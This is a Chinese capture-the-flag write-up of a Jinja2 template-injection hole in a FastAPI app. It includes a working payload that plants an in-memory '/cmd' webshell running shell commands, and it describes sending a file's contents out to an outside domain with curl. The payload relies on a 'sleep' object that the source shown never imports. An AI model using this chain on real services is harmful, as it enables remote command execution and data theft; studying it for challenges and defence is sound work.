在网站根目录下获取到源码。
import os
import jinja2
import functools
import uvicorn
from fastapi import FastAPI
from fastapi.templating import Jinja2Templates
from anyio import fail_after
# jinja2==3.1.2
# uvicorn==0.30.5
# fastapi==0.112.0
def timeout_after(timeout: int = 1):
def decorator(func):
@functools.wraps(func)
async def wrapper(*args, **kwargs):
with fail_after(timeout):
return await func(*args, **kwargs)
return wrapper
return decorator
app = FastAPI()
access = False
_base_path = os.path.dirname(os.path.abspath(__file__))
t = Jinja2Templates(directory=_base_path)
@app.get("/")
@timeout_after(1)
async def index():
return open(__file__, 'r').read()
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
{"app": app})
access = True
return result # 返回计算结果
return "fight"
if __name__ == "__main__":
uvicorn.run(app, host="127.0.0.1", port=8000)
分析/calc路由的ssti函数,在calc_req参数中不能出现数字、“%”、非ASCII码字符,且calc_req只能提交成功一次,说明只有一次尝试机会。在提交后会通过jinja2模版解析,存在模版注入漏洞,但在尝试后发现没有回显,要么使用带外攻击利用(由于域名未实名限制没有继续尝试,但应该可行,因为http默认80端口,不需要输入数字,使用curl HTTP请求接收域名xxx?a=`cat /flag`,带出flag信息)或者添加有回显的新路由(python内存马)。
@app.get("/calc")
@timeout_after(1)
async def ssti(calc_req: str):
global access
if (any(char.isdigit() for char in calc_req)) or ("%" in calc_req) or not calc_req.isascii() or access:
return "bad char"
else:
result = jinja2.Environment(loader=jinja2.BaseLoader()).from_string(f"{{{{ {calc_req} }}}}").render(
{"app": app})
access = True
return result # 返回计算结果
return "fight"
尝试制作python内存马,在FastAPI中添加路由的方法有两种,一种是add_route(),在查看参数时发现没有response,第二种add_api_route(),发现存在参数中存在response,故选择add_api_route()方法,通过lambda匿名函数返回期望的值,通过匿名函数参数实现控制执行的命令,这样不需要多次开启靶场环境。
add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())
在确定了内存马结构后,需要拿到当前main函数,main是模块里面的,先获取moudle,moudles从sys获取,所以可以通过以下结构为当前服务添加python内存马
__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())
在添加内存马前,需要获取到eval或者exec,也就是获取到__globals__['__builtins__']['eval'],获取__globals__的方法很多,这里使用源码中引入的sleep,构造好的payload如下:
sleep.__init__.__globals__["__builtins__"]["eval"]("__import__('sys').modules['__main__'].app.add_api_route(path='/cmd',endpoint=lambda cmd :__import__('os').popen(cmd).read())")
将payload传入calc_req后,回显fight说明成功注入python内存马,访问新路由/cmd,输入参数cmd=cat /flag,成功拿到flag。